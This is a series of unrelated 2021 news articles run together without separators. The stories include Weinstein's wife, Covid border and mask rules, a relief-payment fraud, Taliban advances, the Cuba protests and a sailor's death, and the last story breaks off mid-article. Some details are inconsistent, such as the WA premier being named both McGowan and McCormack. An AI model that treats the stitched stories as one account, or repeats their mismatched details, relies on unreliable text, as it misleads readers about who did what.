Chapman and Weinstein began dating in 2004, after meeting at a party, and married in Connecticut in December 2007.

The designer kept a relatively low-profile during Weinstein's rape and sexual assault trial in New York, that concluded with guilty verdicts of sexual assault and rape, but not guilty on predatory sexual assault.

She was not present when he was found guilty by New York City Supreme Court in February 2020.

When asked by Vogue in 2018 if she was ever suspicious about her husband's behavior, she replied: 'Absolutely not, never.'

Chapman told Vogue how she felt 'naive' when the allegations first broke.

She added: 'There was a part of me that was terribly naive - clearly, so naive. I have moments of rage, I have moments of confusion, I have moments of disbelief.'

The London-born clothing designer went on to describe how 'caring for my young children is my first priority'.

She said: 'And I have moments when I just cry for my children. What are their lives going to be? What are people going to say to them? It's like, they love their dad. They love him. I just can't bear it for them.'

Georgina Chapman has been dating actor Adrien Brody (pictured at the Cannes Film Festival.) She met Brody through Weinstein while she waited for her contested divorce to go through the courts

Travelling: Chapman and Brody were spotted arriving at Los Angeles International Airport on Thursday afternoon, with her two children India, 10, and Dashiell, 8, in tow

Chapman and new beau Brody, 48, made their first appearance together on a red carpet at the Tribeca Film Festival last month.

The couple, who beamed for cameras as they walked arm-in-arm, sparked dating rumours in 2019 but only recently confirmed their romance.

A source previously told The Sun the pair originally met 'properly' in April 2019 at a swimwear launch in Puerto Rico, where they bonded over cocktails.

Chapman and Brody were seen again on the red carpet at the Cannes Film Festival this week.

The Academy Award winner looked completely at ease alongside his leading lady as they walked the red carpet on the seventh day of events on the French Riviera.

The couple have also been seen out with Chapman's two children.

Chapman announced her split from Weinstein (pictured at a hearing June 15 in New York) after he was indicted for sex offences

Weinstein is expected to be in Los Angeles later this month, where he is said to stand trial on further sexual assault charges.

A judge in Erie County, New York, ordered the extradition to Los Angeles, over Weinstein's objections, with the disgraced producer expected in California by mid-July.

His legal team has filed motions in Los Angeles to delay the extradition, 'until he can receive the medical care he desperately needs in New York.'

In 2020, Weinstein was given 23 years behind bars for third-degree rape and criminal sexual assault for incidents involving two women, Jessica Mann and Mimi Haleyi.

The disgraced movie producer has appealed the conviction and his lawyers have said they are confident it will be overturned after Bill Cosby was cleared in June.

His intense trial in New York City was watched by the world and was a symbolic victory for the #MeToo movement.

He has always denied misconduct and said during his sentencing that he sympathized with men who he feels have been unfairly vilified by the movement.

Weinstein was only convicted of assaulting two women but he has been accused of raping and assaulting dozens more.

Prosecutors tried to bring charges against him which related to other victims, but a series of legal blunders and investigative mistakes led to them being dropped.

His landmark trial however brought in other women who said he'd abused them. They testified about their alleged experiences, and were hailed as heroes for it.
Devastated families were left in tears after their flight from Melbourne to Perth landed 15 minutes too late to beat Western Australia's tight new Covid restrictions.

Police boarded the Virgin Australia plane at Perth Airport and told passengers anyone arriving from Victoria must now go into 14-day quarantine or fly straight back to Melbourne.

But if the plane had landed just 15 minutes earlier, they could have strolled through arrivals without a hitch.

More tough Covid restrictions are expected to be imposed on Melbourne in the coming days after the city recorded eight new cases, with the virus having snuck in with two infected removalists from Sydney.

Virgin Australia jet VA681 touched down at 1.15pm on Wednesday, just 15 minutes after the Western Australia State Government changed its Covid travel rules for visitors from Victoria at 1pm, Perth-time.

Devastated families were left in tears after their flight from Melbourne to Perth (pictured, left and right) landed 15 minutes too late to beat Western Australia's tight new Covid restrictions

Virgin Australia jet VA681 touched down at Perth Airport (pictured) at 1.15pm on Wednesday, just 15 minutes after the Western Australia State Government changed its Covid travel rules for visitors from Victoria at 1pm, Perth-time

The state was upgraded from very low risk to low risk, forcing all arrivals from Victoria to go into mandatory isolation for two weeks, or turn around and go home.

But the change in the rules only happened as the Melbourne flight was on final approach to land at Perth Airport, causing emotional scenes as passengers tried to disembark.

One passenger on the flight who was travelling for work said a police officer boarded the plane shortly after it landed.

'He said that we have to immediately quarantine for 14 days,' the man told Daily Mail Australia.

The change in the rules only happened as the Melbourne flight was on final approach to land at Perth Airport, causing emotional scenes as passengers tried to disembark (pictured)

'I have a wife and young children at home, so I'm trying to get a ticket back to Melbourne as we speak.'

The man said there were several mothers with babies on board, and a woman was crying as she disembarked the plane.

'But it now looks like many of the passengers are going to be able to get back on the same plane and head back to Victoria, so that's good news,' he added.

A spokesman for Perth Airport said it was routine for all interstate flights to be met by WA Police under their Covid restrictions to check travellers' paperwork.

However WA state government's change of status for Victoria had caused police to enforce the quarantine or return home ultimatum as soon as the Virgin flight arrived.

The Ariel Apartment Complex in Melbourne (pictured) has been plunged into lockdown after being visited for hours by two infected removalists from Sydney

Perth Airport said it was routine for all interstate flights to be met by WA Police under their Covid restrictions to check travellers' paperwork. Seen here is an officer questioning a visitor

Victoria is desperately hoping to avoid yet another outbreak that could prompt a fifth lockdown after Sydney's Delta plague spilled over the border.

Three removalists from Sydney picked up furniture from a flat in Melbourne and dropped it of in Adelaide last week, while two were infected with coronavirus.

Covid requirements such as mask wearing and social distancing were reportedly not followed, and seven people in the apartment building have since tested positive.

Melbourne is as a result staring down the barrel of another wave of restrictions just as it relaxed measures form its last outbreak, and potentially a fifth lockdown.

Visitors to homes and the number of patrons allowed inside venues could be reduced as the city grapples with the new outbreak.

A spokesman for WA Premier Mark McGowan said changes needed to be implemented immediately despite the havoc it caused with travel plans for visitors.

Melbourne is as a result staring down the barrel of another wave of restrictions just as it relaxed measures form its last outbreak, and potentially a fifth lockdown (pictured, the infected Ariele Apartments in Melbourne on Wednesday)

A spokesman for WA Premier Mark McCormack said changes needed to be implemented immediately despite the havoc it caused with travel plans for visitors. Seen here is the Virgin Australia check-in at Perth Airport

'With the NSW outbreak spreading to Victoria, adjustments to our border with Victoria need to take effect immediately,' the premier's office told Daily Mail Australia.

'WA remains in a State of Emergency due to the global pandemic. Border arrangements are constantly reviewed and have the potential to change rapidly, based on the latest health advice.

'Western Australia has always taken an extra cautious approach to its border controls and this has proven effective in keeping WA safe from COVID-19.

'Naturally these immediate changes will cause inconvenience but they are necessary to protect the health of Western Australians.

'The State Government thanks everyone for their understanding.'
An unemployed woman on Centrelink used stolen and fake identity documents to scam $350,000 in bushfire and Covid relief payments, leaving some vulnerable Australians unable to make legitimate claims.

Ellen Louise Howard, 32, pleaded guilty to a litany of fraud offences when she fronted Cessnock Local Court in the Hunter Valley on Wednesday.

The charges include 11 counts of fraudulently claiming NSW bushfire payments and 13 counts of rorting Victorian lockdown payments over a period of seven months.

Howard also admitted to a further 16 dishonesty charges totalling $250,000 which targeted the Tasmanian Government and a charity organisation.

Ellen Louise Howard, 32 (pictured), pleaded guilty to a litany of fraud offences when she fronted Cessnock Local Court in the Hunter Valley on Wednesday

Thg unemployed woman on Centrelink used stolen and fake identity documents to scam $350,000 in bushfire and Covid relief payments. Pictured: NSW RFS are seen back burning at Long Gully Road in NSW, on September 9, 2019

The court heard Howard used fake identity documents and ABNs she had either photoshopped or stolen to receive payments she was not entitled to, the Daily Telegraph reported.

Although Howard was not a victim of NSW's horrific Black Summer Bushfires and has never lived in Victoria, she applied for subsidy payments in both states that were intended to help Australians who were in desperate need of support.

She told the Services NSW that her home had burnt down at the end of 2019 in an attempt to secure a $10,000 emergency payment.

The court heard Howard's home was partially damaged after her and her ex-partner got into an argument and accidentally started a fire.

Following the success of her first false claim, Howard went on to secure a further $93,000 in bushfire subsidies.

She posed as a Taree cafe, a Nabiac nursery and three agriculture businesses as part of the scam.

The court heard Howard (pictured) used fake identity documents and ABNs she had either photoshopped or stolen to receive payments she was not entitled to.

Although Howard was not a victim of NSW's horrific Black Summer Bushfires and has never lived in Victoria, she applied for subsidy payments in both states that were intended to help Australians who were in desperate need of support. Pictured: NSW Rural Fire Service crews fight the Gospers Mountain Fire as it impacts a structure at Bilpin, Saturday, December 21, 2019

In at least one case, a business which had genuinely been affected by the bushfire crisis was unable to receive support payments as auditors believed the subsidiary had already been out.

When Victoria went into lockdown in May last year Howard saw an opportunity to take her support payment scam interstate.

She claimed her work had been adversely impacted by the Covid crisis and applied for 13 $450 support payments despite not living there.

As part of the scheme she stole identity documents from her mother, stepfather and best friend, as well as a number of strangers.

In at least one case, a business which had genuinely been affected by the bushfire crisis was unable to receive support payments due to Howard's (pictured) scam

Howard also photoshopped copies of Medicare cards which she used to fool auditors as she raked in a total of $109,000 from both the NSW and Victorian Governments.

But there are also further offences yet to be tendered to the court which are expected to follow with her lawyer and investigators still negotiating the police facts.

Court attendance notices show that Howard made an additional 33 claims for Victoria's $450 lockdown payments and also applied for three $10,000 Covid support payments in Tasmania.

Howard's lawyer Donna Smith told the court her client is now receiving drug and alcohol counselling and mental health support.

Howard is due to re-appear in court on July 21.
The Taliban is enforcing its harsh interpretation of Islamic rule and reverting to its fundamental roots as it makes huge advances across Afghanistan.

Insurgents are issuing new orders to captured territories, banning smoking and beard-shaving and ordering villagers to marry off their daughters to foot soldiers and stopping women from heading out alone.

The Islamist group warned that anyone who breaks the rules 'will be seriously dealt with'.

The Taliban, which was overthrown by the US-led invasion in December 2001, three months after 9/11, is making a resurgence as it capitalises on the withdrawal of foreign troops.

On Wednesday, militants claimed to have seized the strategic border crossing of Spin Boldak along the frontier with Pakistan.

The Taliban is enforcing its harsh interpretation of Islamic rule and reverting to its fundamental roots as it makes huge advances across Afghanistan (file image)

The interior ministry insisted the attack had been repelled and government forces had control, but a Pakistan security source said the Taliban's white flag was flying over the town.

It comes a day after video emerged of Taliban fighters massacring 22 Afghan commandos who had surrendered in Dawlat Abad, in northern Faryab province.

The Islamists are trying to persuade government troops to abandon their posts on the promise of safe passage back to their homes as they take advantage of the US withdrawal, which has been criticised by former president George W. Bush.

He told German broadcaster Deutsche Welle: 'Afghan women and girls are going to suffer unspeakable harm. This is a mistake.

'They're just going to be left behind to be slaughtered by these very brutal people, and it breaks my heart.'

Last month, the Taliban took Shir Khan Bandar, a northern customs post that connected the country to Tajikistan over a US-funded bridge that spanned the Panj river.

Local factory worker Sajeda told AFP: 'After Shir Khan Bandar fell, the Taliban ordered women not to step out of their homes.

A militiaman loads his rifle as Afghan Special Forces visit a district centre during a combat mission against the Taliban in Kandahar province

'There were many women and young girls doing embroidery, tailoring and shoe-making... The Taliban's order has now terrified us.'

The Taliban ruled Afghanistan from 1996 to 2001 based on a fundamental interpretation of the Koran that has hardly changed in centuries.

Women were ordered to stay indoors unless accompanied by a male relative, girls were banned from school, and those found guilty of crimes such as adultery were stoned to death.

Men had relatively more freedom but were ordered not to shave, would be beaten if they didn't attend prayers, and were told to only wear traditional clothing.

Afghanistan is deeply conservative and some rural pockets of the country adhere to similar rules even without Taliban oversight - but the insurgents have tried to impose these edicts even in more modern centres.

A statement purporting to come from the Taliban circulated on social media this week ordered villagers to marry off their daughters and widows to the movement's foot soldiers.

'All imams and mullahs in captured areas should provide the Taliban with a list of girls above 15 and widows under 45 to be married to Taliban fighters,' said the letter, issued in the name of the Taliban's cultural commission.

Similar edicts were issued by the Ministry for the Propagation of Virtue and the Prevention of Vice during the Taliban's first stint in power.

The group has now denied making any such statement and dismissed it as propaganda as it attempts to project a softer image.

'These are baseless claims,' said Zabihullah Mujahid, a spokesman for the group.

'They are rumours spread using fabricated papers.'

The Taliban now claims to be in control of 80 per cent of Afghan territory, with a major offensive to retake towns and cities expected over the summer (pictured, a Taliban spokesmen holding a news conference last week in Russia)

But people in areas recently taken by the insurgents insist there is truth to the claims.

In Yawan district on the Tajikistan border, the Taliban gathered residents at a local mosque after taking over.

'Their commanders told us that nobody is allowed to leave home at night,' Nazir Mohammad, 32, told AFP.

George W. Bush says it is a 'mistake' to pull out US troops Former U.S. president George W. Bush has criticised the withdrawal of NATO troops from Afghanistan and said civilians were being left to be 'slaughtered' by the Taliban. 'Afghan women and girls are going to suffer unspeakable harm. This is a mistake... They're just going to be left behind to be slaughtered by these very brutal people, and it breaks my heart,' Bush told German broadcaster Deutsche Welle. The former Republican president, who sent troops to Afghanistan in autumn 2001 after the Sept. 11 attacks, said he believed German Chancellor Angela Merkel 'feels the same way'. Bush said Merkel, who is set to retire from politics later this year after 16 years in power, had brought 'class and dignity to a very important position and made very hard decisions'. US and NATO forces began withdrawing from Afghanistan in early May and are due to completely pull out by Sept. 11, some 20 years after they arrived in the war-torn country. Most of the 2,500 US and 7,500 NATO troops who were in Afghanistan when U.S. President Joe Biden detailed the final withdrawal in April have now gone, leaving Afghan troops to fight an emboldened Taliban seemingly bent on a military victory. The country is facing a crisis as the insurgents snap up territory across the countryside, stretching government forces and leading to a fresh wave of internally displaced families, complicated by a renewed outbreak of Covid-19. The United Nations said on Sunday the rising conflict is causing 'more suffering' across the violence-wracked country as it called for continuous financial aid. Biden has insisted, however, that it is time for U.S. involvement in the war to end and for Afghans to chart their own future. Advertisement

'And no person - especially the youths - can wear red and green clothes,' he said, referring to the colours of the Afghan flag.

Their orders didn't stop there.

'Everybody should wear a turban and no man can shave,' said Mohammad.

'Girls attending schools beyond sixth grade were barred from classes.'

The Taliban insist they will protect human rights - particularly those of women - but only according to 'Islamic values', which are interpreted differently across the Muslim world.

For Sajeda on the Tajikistan border, just a few days of Taliban rule was enough - and she fled south to the nearby city of Kunduz.

'We will never be able to work in areas under the Taliban,' she said, 'So, we left'.

It comes as the Taliban said on Wednesday they had captured the strategic border crossing of Spin Boldak, continuing their sweeping gains.

The situation on the ground could not immediately be verified, but social media was abuzz with pictures of Taliban fighters looking relaxed in what appeared to be the frontier town.

The taking of Spin Boldak would be the latest in a string of border crossings and dry ports seized by the Taliban in recent weeks, with the insurgents looking to choke off much-needed revenue from the government in Kabul while also filling their own coffers.

Its seizure follows days of heavy fighting across Kandahar province, where the government was forced to deploy commando fighters to prevent the fall of the provincial capital even as the insurgents inched closer to taking the frontier crossing.

In a statement, Mujahid, the insurgent spokesman, assured traders and residents there that their 'security is guaranteed'.

But Afghan officials insisted they still had control.

'The terrorist Taliban had some movements near the border area... The security forces have repelled the attack,' interior ministry spokesman Tareq Arian told AFP.

Residents disputed the government's claims.

'I went to my shop this morning and saw that the Taliban are everywhere. They are in the bazaar, in police HQ and custom areas. I can also hear the sound of fighting nearby,' said Raz Mohammad, a shopkeeper who works near the border.

The border crossing is one of the most strategically valuable for the Taliban.

It provides direct access to Pakistan's Balochistan province - where the insurgents' top leadership has been based for decades - along with an unknown number of reserve fighters who regularly enter Afghanistan to help bolster their ranks.

Afghan government forces have taken over defence of the country following the retreat of US and NATO forces, but are struggling to retain control (file image)

Hours after the crossing fell, an AFP reporter on the Pakistani side saw around 150 Taliban fighters riding on motorcycles, waving insurgent flags, as they demanded to be allowed to cross into Afghanistan.

Balochistan is a favoured destination for fighters regularly heading for medical treatment and hosts many of their families.

A major highway leading from the border connects to Pakistan's commercial capital Karachi and its sprawling port on the Arabian Sea, which is considered a linchpin for Afghanistan's billion-dollar heroin trade that has provided a crucial source of revenue for the Taliban's war chest over the years.

Meanwhile on Tuesday, video emerged purporting to show the moment 22 Afghan commandos were massacred by the Taliban moments after they surrendered.

The footage appears to have been taken in Dawlat Abad on June 16 following a major battle between the Taliban and Afghan forces.

The government had sent an elite team of US-trained commandos - including the son of a retired general - into the town to recapture it, but they quickly became surrounded with air support and reinforcements failing to materialise.

Disturbing footage has emerged purporting to show the moment 22 Afghan commandos were massacred in the town of Dawlat Abad on June 16 while surrendering to the Taliban

Footage shows unarmed soldiers with their arms raised being marched into the street before men with rifles open fire while shouting 'Allahu Akbar'

Militants say the commandos were captured after running out of ammunition, but witness accounts from the time and the new footage suggests they were actually gunned down in cold blood.

In the video, which was first shared with veterans network Funker530 last week, men holding weapons can be seen ushering a group of soldiers into a public square.

The soldiers are unarmed and many of them have their arms raised, as their captors yell at them and a couple are forced to kneel on the ground.

'Don't shoot them, don't shoot them, I beg you don't shoot them,' someone says in the local Pashto language, according to translation by CNN.

Moments later, to shouts of 'Allahu Akbar', the captors open fire - unleashing a volley of bullets that starts with two gunshots and ends in dozens of rounds being fired.

A second piece of footage then shows bodies strewn across the ground, as men holding rifles strip them of their equipment.
A BBC reporter smoothly caught a falling lighting rig which plummeted towards him moments before he was due to host a segment on live television.

Footage captured journalist James Shaw grabbing the collapsed lamp and pushing it back into position as BBC host Sophie Raworth introduced him in the studio.

A member of the crew sprung into shot to assist him seconds before BBC News cut to Mr Shaw in Glasgow to discuss the loosening of Covid restrictions in Scotland.

Journalist James Shaw grabs the collapsed lamp and pushes it back into position as BBC host Sophie Raworth introduces him in the BBC studio

The quick-thinking journalist didn't miss a beat as cameras cut to him, responding to Ms Raworth's comments about Covid restrictions.

She said: 'Scotland is certainly taking a more cautious approach to easing restrictions than England.'

Following the blunder, Mr Shaw posted on Twitter: 'Thanks to Audrey & Norman for catching my (coughs) moment'.

Mr Shaw has worked as a Scotland correspondent for BBC News since January 2017.

He previously climbed Ben Nevis, the the highest mountain in the UK, in the dark for a live broadcast, and documented his experience online.

The quick-thinking journalist doesn't miss a beat as cameras cut to him, responding to Ms Raworth who said: 'Scotland is certainly taking a more cautious approach to easing restrictions than England'

The short clip was shared on Twitter today, with dozens of Britons praising Mr Shaw for his 'very professional recovery'

The short clip of his blunder was shared on Twitter last night, with dozens of Britons praising the reporter for his 'very professional recovery.'

Another joked that Mr Shaw 'should have been a goalie', while others simply said: 'Thats a brilliant catch James!'

A third commented: 'Professionalism. Good catch and then straight into it.'
A senator has said that President Joe Biden is 'like a deer in the headlights' amid the ongoing unrest in Cuba.

Demonstrations that erupted Sunday have seen thousands of Cubans in the streets, although Biden did not make a statement about the unrest until Monday.

Lindsey Graham, a Republican senator from South Carolina, said Biden is 'like a deer in the headlights when it comes to standing up to oppression'.

Speaking on Fox News' 'Hannity,' Graham said that the people of Cuba need him to speak up and say that they 'stand with your right to demand freedom'.

A senator has said that President Joe Biden (pictured) is 'like a deer in the headlights when it comes to standing up to oppression' amid the ongoing unrest in Cuba

He added: 'This is a moment for Joe Biden to stand up for freedom in the face of oppression and communism and thus far he's AWOL.'

Cubans have been voicing grievances against shortages of goods, rising prices and power cuts, and some protesters have called for a change of government.

Graham said: 'I would send a signal to the Cuban government that we're not going to sit on the sidelines as you destroy people in our backyard, and we need to give voice to freedom. America is the symbol of freedom to most everybody in the world.

'To President Biden, where are you when the people of Cuba need you the most?'

He called on Biden to take the opportunity to 'destroy communism in our backyard', adding that history will be on his side.

Meanwhile, Cuban authorities confirmed Tuesday that one person has died during demonstrations that have shaken the island in recent days by protesting over food shortages, high prices and other grievances against the government.

Lindsey Graham, a Republican senator from South Carolina, said that the people of Cuba need him to speak up and say that they 'stand with your right to demand freedom'

The Interior Ministry said in a statement that Diubis Laurencio Tejeda, 36, died Monday during a clash between protesters and police in the Arroyo Naranjo municipality on the outskirts of Havana.

The demonstrations in several cities and towns were some of the biggest displays of antigovernment sentiment seen in years in tightly controlled Cuba, which is facing a surge of coronavirus cases as it struggles with its worst economic crisis in decades as a consequence of US sanctions imposed by President Donald Trumps administration.

In the United States, demonstrators expressing solidarity with the thousands of Cubans - who waged a rare weekend of protests around their island nation - shut down a stretch of a major South Florida expressway Tuesday.

The large group gathered at a busy Miami intersection chanting support for the Cubans, who had taken to the streets in the communist nation Sunday to air grievances about poor economic conditions and other complaints.

Demonstrations that erupted Sunday have seen thousands of Cubans take to the streets, although Biden did not make a statement about the unrest until Monday

A few miles away, hundreds of supporters gathered for hours Tuesday evening at a park. The peaceful crowd waved flags and cheered on the efforts of island protesters.

Miami Mayor Francis Suarez, a 43-year-old Miami-born lawyer whose father was the first Cuban-born mayor of the South Florida city, told Fox News on Tuesday that the option of military air strikes has to be explored.

It comes after Miami Mayor Francis Suarez said Biden should consider airstrikes on Cuba in support of Havana dissidents as supporters took to the streets in cities across the US on Tuesday to show solidarity with anti-communist protesters.

Talk of possible American military action in Cuba prompted warnings Tuesday from Iran, Russia and China.

In Moscow, Russian Deputy Foreign Minister Sergei Ryabkov said the Kremlin 'stressed the inadmissibility of foreign interference and other destructive actions that are fraught with the destabilization in Cuba.'

A spokesperson for the Chinese Foreign Ministry in Beijing said 'the US embargo is the root cause of Cuba's shortage of medicines and energy.'

'China firmly opposes foreign interference in Cuba's internal affairs, firmly supports what Cuba has done in fighting COVID-19, improving people's livelihood and upholding social stability, and firmly supports Cuba in exploring a development path suited to its national conditions,' Chinese Foreign Ministry spokesperson Zhao Lijian said.

A large group gathered at a busy Miami intersection chanting support for the Cubans, who had taken to the streets in the communist nation Sunday to air grievances about poor economic conditions and other complaints

Iran, which has also faced economic sanctions imposed on it by Washington, echoed the sentiments of Russia and China.

'In this situation, where the United States is primarily responsible for the many problems created for the Cuban people, it is trying to appear as a supporter of the Cuban protests and has tried to interfere in the internal affairs of this country in a blatant violation of international rules,' Iranian Foreign Ministry spokesperson Saeed Khatibzadeh told reporters Tuesday.

Mayor Suarez, a 43-year-old Miami-born lawyer whose father was the first Cuban-born mayor of the South Florida city, told Fox News on Tuesday that the option of military air strikes has to be explored.

'What should be contemplated right now is a coalition of potential military action in Cuba, similar to what has happened ... in both Republican and Democrat administrations,' Suarez said.
The Ministry of Defence has launched an investigation into the death of a Royal Navy sailor believed to have taken their own life on board a Type 23 frigate escorting Britain's biggest aircraft carrier to the Far East.

HMS Kent had been accompanying HMS Queen Elizabeth, the new 3billion carrier affectionately nicknamed 'Big Lizzie', on its maiden voyage to the South China Sea when the crew member died on Saturday.

Defence sources told the Telegraph that the sailor was believed to have taken their own life. However, an MoD spokesman told MailOnline that the family have requested privacy and would not be commenting further.

The body was reportedly moved to HMS Queen Elizabeth before being flown to the US base in Djibouti. The Telegraph said Defence Secretary Ben Wallace thanked his US counterpart when the pair met this week.

It is understood the death will not affect the deployment of the Carrier Strike Group, which includes two Type 45 destroyers, two Type 23 frigates and two support vessels - and American destroyer USS The Sullivans.

An MoD spokesman said: 'It is with deep sadness that the Ministry of Defence can confirm that a Royal Navy sailor from HMS Kent died on July 10, 2021.

HMS Kent (pictured) had accompanied Britain's largest aircraft carrier, HMS Queen Elizabeth, as part of the Carrier Strike Group when the crew member died

The sailor died on board a Royal Navy frigate travelling to the South China Sea as part of aircraft carrier HMS Queen Elizabeth's maiden voyage (route pictured)

'The Ministry of Defence offers its condolences to the individual's family and friends. The ship's company of HMS Kent are in our thoughts during this difficult time.

'The individual's next of kin have been informed and have requested privacy at this difficult time. An investigation is under way and it would be inappropriate to comment any further while that is ongoing.'

The flotilla sailed through the Suez Canal in Egypt last week as it crossed from the Mediterranean to the Red Sea as part of its maiden deployment.

The voyage takes the 3billion Elizabeth and her carrier group into dangerous waters that have been the site of clandestine fighting between Iran and its proxies and western-allied nations in recent years.

It will also take 'Big Lizzie' close to China's only overseas naval base, located in Djibouti - which is sure to produce an angry backlash from Beijing.

The journey marks the end of of 'phase one' of Elizabeth's deployment, which saw it carry out operations in the Mediterranean including exercises alongside French aircraft carrier Charles de Gaulle.

Part of the carrier group accompanying the Queen Elizabeth is pictured sailing through the canal, including a US destroyer, two British warships, and two Royal Navy support vessels

HMS Queen Elizabeth, Britain's largest aircraft carrier, sailed through the Suez Canal for the first time during her maiden deployment alongside her carrier strike group

Phase one also saw the carrier involved in strikes on ISIS targets in the Middle East, aimed at helping US forces focus on their withdrawal from Afghanistan.

Commodore Steve Moorhouse, who is in charge of the carrier group, said last month that the Queen Elizabeth had been taking on the 'lion's share' of ISIS strikes.

'Phase two' of the deployment will see the group sail around the Arabian Peninsula and across the Arabian Sea to India for joint exercises with the country's navy.

'Phase three' of the mission will then see UK Carrier Strike Group head to the China-Pacific region for joint exercises with Singapore, Malaysia, Australia and New Zealand which will include sailing through the South China Sea.

Its final stops will be in Japan and South Korea, ending a voyage of some 26,000 nautical miles which will have spanned some 40 countries.

The deployment of the carrier group marks a major milestone for the British Navy and has been described as the single largest concentration of naval power to leave the country in a generation.
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Mask rules descended further into chaos today as Grant Shapps backed London Mayor Sadiq Khan keeping them compulsory on the Tube, buses and taxis - even though they are not required on trains from 'Freedom Day'.

Mr Khan has broken ranks by announcing the move in the capital despite the government binning all legal restrictions across England from Monday.

However, the Transport Secretary played down the tensions this morning saying he had 'expected' operators to put in place 'conditions of carriage' to ensure that passengers were safe on public transport.

The increasingly confused situation means that passengers on trains in and out of London terminals will not need to wear masks during their journeys, but must while travelling around the city.

Manchester mayor Andy Burnham said they would stay on transport in his city, while local leaders in other parts of the country are considering whether to impose their own rules. The Tory West Midlands mayor Andy Street lamented that he does not have powers to take the step, but stressed he 'expects' people to cover up.

Unions have warned that the 'botched' approach to setting the rules will leave railway workers facing the threat of violence from angry customers.

Mr Khan told BBC Breakfast that around 400 enforcement officers would be deployed to check people are still wearing masks in the capital.

'It's not perfect. [It] would have been better if national rules applied across the country to avoid any confusion,' he said.

'The government for their own reasons have decided not to do that.'

Asked about the lack of restrictions on services from outside the city, Mr Khan said: 'A number of services that come into London are not my responsibility. 'If you are in London, you need to follow the rules.'

London Mayor Sadiq Khan has announced that masks will stay compulsory on the Tube, buses and taxis in the capital - even though they are not required on trains elsewhere from 'Freedom Day'

The coronavirus restrictions which will be removed from July 19

Mask on, mask off: Jacob Rees-Mogg (pictured left wearing a mask) says he will not be wearing a face covering at Parliament when the requirement is lifted (pictured right on July 12)

MPs who fail to wear masks at Parliament 'to be named and shamed' A union representing civil servants said it plans to 'name and shame' MPs who refuse to wear face coverings in Parliament once legal requirements are dropped next week. FDA general secretary Dave Penman said he would be writing to MPs warning them that his union was willing to 'call out' those ditching their masks, even after coronavirus-related restrictions have been lifted on July 19. The Prime Minister has announced that from Monday, legal mandates in England to wear masks in some public settings will be scrapped, with the onus instead placed on personal responsibility. House of Commons Speaker Sir Lindsay Hoyle has written to MPs explaining that they will be 'encouraged' to continue wearing the coverings until July 22, when Parliament breaks for its summer recess. However, the elected politicians cannot be forced to continue using them while in the chamber or elsewhere. Currently, MPs who are not exempt must have their face covering on when not speaking in a debate in the Commons, while it is also recommended that they are adorned when moving about the estate. But, with all other staff on the Westminster estate to continue to be required to wear masks while moving around the premises after July 19, the FDA said it will be putting pressure on MPs to follow suit. Advertisement

In his own round of interviews this morning, Mr Shapps said: 'Whilst we are going from this being a legal requirement to guidelines, we do expect individual carriers to make sure they are putting in place whatever is appropriate for their network,' he told Sky News.

'The airlines have already said that you will need to carry on wearing masks on those. It is very much in line with what we expected  indeed wanted  to happen.'

He added on Times Radio: 'If you think about it, it makes sense..

'We've moved from the point in the crisis where everything is set in law to a point where we put in place a degree of a personal responsibility and also ask the carriers in this case  the transport carriers  to make clear the conditions of travel on their particular network.'

Masks will also remain compulsory in Scotland and Wales, but transport operators in the rest of the country have indicated they will not insist on passengers wearing them.

The Rail, Maritime and Transport union (RMT) said staff risked becoming 'punchbags' for irate travellers.

RMT general secretary Mick Lynch said: 'We now have the ludicrous position where a passenger travelling through London will have different rules on the tube and the main line services.

'There will also be a change of policy on trains at the Welsh and Scottish borders which is a total nonsense, and will leave staff right at the sharp end and dangerously exposed when it comes to enforcement.

'As a result of this chaotic approach we now have a situation where the London measures are not enforceable by law, which means RMT members will be thrown into a hostile and confrontational situation from next Monday at heightened risk of abuse and assault.'

Mr Street said: 'We will have staff out and about at stations and on services relaying this message and handing out masks where needed.

'Myself and Transport for the West Midlands believe that wearing face coverings on public transport  particularly busy services  has an important role to play in protecting staff and vulnerable passengers.

'We would ask all passengers to join in this collective effort.'

Mr Khan's move came as ministers clashed with government scientists over the decision to ditch mask laws next week.

And in a letter to the Prime Minister, the Royal Pharmaceutical Society in England, the British Medical Association, British Dental Association, Royal College of Nursing and the College of Optometrists called for mandatory use of face masks, social distancing and regular handwashing by the public to stay in place past July 19 in all healthcare settings.

What are the mask rules in different parts of Britain? ENGLAND There is no legal requirement to wear masks in any setting in England from July 19. However, the government is 'expecting and recommending' that people will wear coverings in crowded, confined places. In London, mayor Sadiq Khan has also announced they will be a 'condition of carriage' on the Tube, buses and taxis. SCOTLAND Nicola Sturgeon has said that masks will remain compulsory on public transport and indoor settings from August 9, when other legal restrictions are due to be removed. WALES After August 7, face masks will still be required in most indoor public places. There are exceptions for hospitality businesses such as pubs and restaurants, as well as schools. Advertisement

'While you state that you would expect the public to continue wearing face coverings in healthcare settings, we ask that this is translated into action,' they told the Prime Minister.

'As the rules change, this must be backed by clear Government communications for the public, so that health and care staff are not caught in the middle and placed at increased risk of abuse.'

And the NHS Providers organisation, which represents NHS trusts, called for 'clear communication' about infection control measures in the health service.

Meanwhile, Commons leader Jacob Rees-Mogg added to the mixed messages by saying he would not wear one in Parliament when the requirement is lifted.

Mr Rees-Mogg said that people who have received both jabs of the vaccine have already done their 'societal bit.'

'This morning I wandered around the palace of Westminster wearing a mask, and met almost nobody. In those circumstances I will not be wearing a mask - what would be the point?,' he said while speaking on the Conservative Home Podcast.

'If you've had both vaccines, your risk of transmitting the disease is slight. So in a way you've done your societal bit by having the vaccine, as much as by wearing a mask, which is why I think it's sensibly individual choice.'

His comments come amid mass confusion among businesses about whether or not to enforce their own voluntary mask-wearing policies when restrictions are lifted on July 19.

Bosses last night demanded clarity on whether such policies would be legal.

Some chains have already suggested they may bring in mask-wearing requirements for customers beyond July 19 - with some fearing a 'Freedom Day free-for-all' when the Government lifts Covid restrictions on Monday.
Sarah Malik, 38, failed a breath test after police found her in the driver's seat of her stationary C180 Kompressor

A woman who was found drunk at the wheel of her Mercedes during Ramadan escaped a driving ban after claiming she was waiting to avoid her strict Muslim father because he disapproved of her drinking.

Sarah Malik, 38, failed a breath test after police found her in the driver's seat of her stationary C180 Kompressor at midnight on April 22 in Hale Barns, Cheshire.

The qualified psychotherapist, who is a campaign coordinator for charity NESTAC which supports the BAME community in Greater Manchester and helps victims of FGM, had been taking a video call from other relatives in Australia on her mobile phone at the time.

One of the traffic officers said Malik smelled of intoxicants, her eyes were 'watery and glazed' and her speech slurred before a reading showed she was nine points over the alcohol limit.

But Malik claimed she had only been consuming excess alcohol at the wheel of her vehicle while waiting for her father, a local community leader in the affluent suburb, to leave their nearby 2million property to attend a 4am call to prayer at his local mosque.

